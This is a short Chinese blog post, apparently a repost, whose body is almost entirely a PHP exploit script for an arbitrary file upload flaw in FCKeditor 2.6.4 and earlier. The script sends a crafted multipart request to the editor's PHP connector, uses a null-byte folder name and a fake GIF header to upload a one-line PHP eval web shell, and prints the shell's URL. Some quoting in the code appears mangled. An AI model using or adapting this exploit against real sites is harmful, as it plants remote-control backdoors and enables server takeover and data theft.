fckeditor<=2.6.4任意檔案上傳漏洞

cnbird發表於2013-07-16
<?





error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



define(STDIN, fopen("php://stdin", "r"));

$match = array();



function http_send($host, $packet)

{

	$sock = fsockopen($host, 80);

	while (!$sock)

	{

		print "
[-] No response from {$host}:80 Trying again...";

		$sock = fsockopen($host, 80);

	}

	fputs($sock, $packet);

	while (!feof($sock)) $resp .= fread($sock, 1024);

	fclose($sock);

	print $resp;

	return $resp;

}



function connector_response($html)

{

	global $match;

	return (preg_match("/OnUploadCompleted((d),"(.*)")/", $html, $match) && in_array($match[1], array(0, 201)));

}



print "
+------------------------------------------------------------------+";

print "
| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";

print "
+------------------------------------------------------------------+
";



if ($argc < 3)

{

	print "
Usage......: php $argv[0] host path
";

	print "
Example....: php $argv[0] localhost /
";

	print "
Example....: php $argv[0] localhost /FCKEditor/
";



	die();

}



$host = $argv[1];

$path = ereg_replace("(/){2,}", "/", $argv[2]);



$filename  = "fvck.gif";

$foldername = "fuck.php%00.gif";

$connector = "editor/filemanager/connectors/php/connector.php";





$payload  = "-----------------------------265001916915724
";

$payload .= "Content-Disposition: form-data; name="NewFile"; filename="{$filename}"
";

$payload .= "Content-Type:  image/jpeg

";

$payload .= `GIF89a`."
".`<?php eval($_POST[a]) ?>`."
";

$payload .= "-----------------------------265001916915724--
";



$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0
";

//print $packet;

$packet	.= "Host: {$host}
";



$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724
";

$packet .= "Content-Length: ".strlen($payload)."
";

$packet .= "Connection: close

";

$packet .= $payload;



print $packet;



if (!connector_response(http_send($host, $packet))) die("
[-] Upload failed!
");

else print "
[-] Job done! try http://${host}/$match[2] 
";





?>


相關文章